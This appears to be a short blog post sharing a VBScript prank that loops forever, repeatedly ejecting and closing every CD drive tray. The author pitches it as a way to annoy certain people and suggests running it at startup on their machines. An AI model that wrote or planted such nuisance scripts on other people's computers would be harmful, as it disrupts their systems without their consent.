Especially some people.
You know, those people...
And, while I enjoy watching the world burn as much as the next guy, I also kind of enjoy the delicacies of society...
Burn, but not scorch.
The vbs code below is actually quite simple. It sends a command to open the disk tray(s), and then immediately sends another one, to close it.
Annoying. Yes (much more so, if invoked at startup). But incapable of causing any real harm...
vbs code 'dancing queen'
do Dim ts Dim strDriveLetter Dim intDriveLetter Dim fs 'As Scripting.FileSystemObject Const CDROM = 4 On Error Resume Next Set fs = CreateObject("Scripting.FileSystemObject") strDriveLetter = "" For intDriveLetter = Asc("A") To Asc("Z") Err.Clear If fs.GetDrive(Chr(intDriveLetter)).DriveType = CDROM Then If Err.Number = 0 Then strDriveLetter = Chr(intDriveLetter) Exit For End If End If Next Set oWMP = CreateObject("WMPlayer.OCX.7" ) Set colCDROMs = oWMP.cdromCollection For d = 0 to colCDROMs.Count - 1 colCDROMs.Item(d).Eject Next 'null For d = 0 to colCDROMs.Count - 1 colCDROMs.Item(d).Eject Next 'null set owmp = nothing set colCDROMs = nothing loop